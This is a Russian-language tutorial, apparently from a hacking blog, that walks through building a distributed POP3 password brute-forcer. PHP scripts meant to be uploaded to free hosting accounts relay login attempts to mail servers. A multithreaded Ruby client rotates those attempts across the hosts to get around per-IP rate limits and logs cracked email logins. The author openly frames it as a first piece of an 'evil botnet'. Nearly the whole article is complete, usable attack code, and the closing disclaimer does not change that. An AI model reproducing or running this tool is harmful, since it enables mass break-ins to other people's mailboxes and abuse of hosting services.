распределенный POP3-брутфорс или брут мыл через фрихосты
Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть.
Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и главное быстро перебирать пароли к ящикам.
Моя первоначальная идея состояла в организации злой бот-сети из фрихостов, но об этом я расскажу в другой статье, пока лишь ограничимся одной функцией бота – попытка авторизации на POP3-сервере.
Итак, для начала нам нужен какой-нибудь бесплатный хостинг с поддержкой PHP5, версия должна быть именно пятая, в противном случае придется немного переписать серверные скрипты.
Допустим вы нашли фрихостинг, коих сейчас немерянно, и можно приступать к самому приложению, которое будет представляеть из себя многопоточный брутфорс списка мыл на популярные пароли. Если кому-то нужно иначе, клиентскую часть легко переписать на свой лад.
Брутфорс будет состоять из 2-х частей:
- серверная – PHP-скрипты, которые будут по запросу клиента пытатся авторизоватся с заданным логином и паролем
- клиентская – Ruby-скрипты, которые будут давать запрос, с указанием логина и пароля, по которым необходимо авторизоватся
Сервер (PHP-скрипты).
Сервер будет состоять из 3-х файлов:
- библиотека – lib.php
- конфигурация – config.php
- сам скрипт авторизации – brut.php
В библиотеки lib.php содержится класс Email, который через функцию fsockopen() будет общатся с POP3-сервером. Взят именно такой принцип, а не скажем уже готовая mail() т.к. на более-менее нормальных хостингах подобные штуки отключены, запрещены и являются признаком преступления против человечества.
Итак, сам lib.php:
<?php
class Email {
var $server;
var $full_addr;
var $login;
const SOCK_ERR=-3;
const FST_GET_ERR=-2;
const LOGIN_ERR=-1;
const INCCORECT_PASS=0;
const SUCC=1;function __construct($addr)
{$this->full_addr=$addr;
$this->set_serv();
$this->set_login(); }private function set_serv ()
{$strpos=strpos($this->full_addr,’@');
$this->server=”pop.” . substr($this->full_addr,$strpos+1,strlen($this->full_addr)-$strpos); }private function set_login ()
{$this->login=substr($this->full_addr,0,strpos($this->full_addr,’@')); }public function try_auth ($pass)
{ $pop_conn = fsockopen($this->server, 110,$errno, $errstr, 10);
if (!(is_resource($pop_conn))) return -3;$ans=fgets($pop_conn,1024);
if (!(substr_count($ans,”OK”))) return -2;fputs($pop_conn,”USER $this->login\r\n”);
$ans=fgets($pop_conn,1024);
if (!(substr_count($ans,”OK”))) return -1;fputs($pop_conn,”PASS $pass\r\n”);
$ans=fgets($pop_conn,1024);
if (!(substr_count($ans,”OK”)))return 0;fclose($pop_conn);
return 1;
}
}
?>
Далее файл config.php, он не отличается сложностью и представляет из себя 2 переменные хранящие логин и пароль админа брутфорса, мы же хотим единолично пользоватся нашим брутом.
<?php
$login=”root”;
$pass=”jvgfdhg6hj”;
?>
Теперь перейдем к brut.php, который и будет промежуточным звеном между нашей клиентской частью и POP3-сервером.
<?php
include ‘lib.php’;
include ‘config.php’;if (!isset($_POST['login']) || $_POST['login']!=$login) die();
if (!isset($_POST['pass']) || $_POST['pass']!=$pass) die();
if (!(isset($_POST['op_addr'])) || !(isset($_POST['op_pass']))) die();$email= new Email($_POST['op_addr']);
echo ‘<ans>’.$email->try_auth($_POST['op_pass']).’</ans>’;
?>
brut.php тоже не является верхом сложности программирования на PHP: сначала мы проверяем логин и пароль админа, затем смотрим присутствуют ли адрес почты и предполагаемый пароль к ней, и в случае если все ништяк пробуем авторизоватся, посредством заранее написанного класса. В конце мы выводим числовой ответ. Тот кому нужны точные ответы посмотрит lib.php, а я же скажу что 0 – пароль не подошел, 1 – пароль подошел.
На этом с серверной частью закончили, теперь берем эти 3 файла и заливаем на все фрихосты, где удалось зарегать.
Клиент (Ruby-скрипты).
Клиентская часть состоит из 2-х скриптов:
- config.rb – файл конфигурации
- main.rb – собственно сам клиент
Сначала рассмотрим кофиг. Представляет он из себя следующее:
#!/usr/bin/ruby
$servers=['lukmus.ru','second.server.ru','third.server.ru','etc.freehost.com']
$path=’/mailbrut/brut.php’$login=”root”
$pass=”jvgfdhg6hj”$th_count=3
$fl_addrs=”mail_list”
$fl_log=”mailbrut.log”
$fl_good=”good_accs”$passes=['pass','qwerty','123456','12345','etc...']
Теперь разберемся в нем:
- $servers – здесь пишем наши фризосты
- $path – путь на фрихостинге до нашей серверной части, на всех сайтах должен быть один и тот же
- $login и $pass – пароль админа брута, должен совпадать с указанными в config.php в серверной части
- $th_count – количество потоков брутфорса, он же у нас многопоточный
- $fl_addrs – файл, записаны почтовые адреса которые мы брутим. Каждая запись должна начинатся с новой строки.
- $fl_log – лог, сюда пишутся все ошибки
- $fl_good – здесь будут сохранятся удачно сбрученные почтовые акки в виде login:pass
- $passes – записываем пароли, на которые брутим
А теперь рассмотрим сам скрипт, который будет выдавать запросы нашим хостингам.
main.rb:
#!/usr/bin/ruby
require ‘net/http’
require ‘config.rb’class WEB_Server
def initialize (servers)
@servers=servers
@i=0
end#def
def next_s
server=@servers[@i]
@i+=1
if @i>=@servers.size then @i=0 end
return server
end#def
end#classdef log(logfl,msg)
mess=”#{Time.now} <-> #{msg}”
logf=File.new(logfl,’a')
logf.puts mess
logf.close
puts mess
end#defputs “Lukmus PHP-Ruby WebMailBrut starting…”
servers=WEB_Server.new($servers)
accs=File.new($fl_addrs,’r')
while !accs.eof do
op_addr=accs.gets.chop
while Thread.list.size>$th_count do sleep(1) end
th=Thread.new(op_addr) do |p_addr|
$passes.each do |p_pass|
serv=servers.next_s
http = Net::HTTP.new(serv, 80)
data = “login=#{$login}&pass=#{$pass}&op_addr=#{p_addr}&op_pass=#{p_pass}”
headers = { ‘Content-Type’ => ‘application/x-www-form-urlencoded’}
resp, data = http.post($path, data, headers)
ans=data.split(‘<ans>’)[1].split(‘</ans>’)[0]
case ans
when ‘-3′
log($fl_log,”ERR #3 Can’t open socket <-> #{p_addr}:#{p_pass}”)
when ‘-2′
log($fl_log,”ERR #2 Can’t connect to server <-> #{p_addr}:#{p_pass}”)
when ‘-1′
log($fl_log,”ERR #1 Can’t input login <-> #{p_addr}:#{p_pass}”)
when ’0′
puts “#{serv} <-> #{p_addr}:#{p_pass} <-> invalid pass”
when ’1′
log($fl_good,”#{serv} <-> #{p_addr}:#{p_pass} <-> SUCCESS”)
breakend#case
#http.close
end#each
end#thread
end#while
th.join
Он работает по следующему принципу:
- ОСНОВНОЙ ПОТОК: открывает файл со списком адресов и берет первый
- ОСНОВНОЙ ПОТОК: создает поток, который будет работать с этим адресом
- ПОТОК: берет первый пароль из нашего списка
- ПОТОК: берет первый хостинг и посылает запрос серверу на попытку авторизации
- ПОТОК: далее берет следующий хостинг и следующий пароль и так далее
- ОСНОВНОЙ ПОТОК: берет следующее мыло из списка и создает новый поток под него и так далее.
В случае если поток находит правильный пароль, то поток самоуничтожается, тем самым пресекая бессмысленные попытки авторизации с оставшимися, заведомо ложными паролями.
Ну вот и все, как запустить скрипт Ruby можно прочитать здесь, а скачвть все это дело одним архивом можно здесь
Статья является плодом бурной фантазии автора и не призывает ни к каким действиям, противоречащим законодательству. Ответственность за использование материала ложиться только на вас! Любые совпадения с реальными людьми считаются случайными.
Ништяк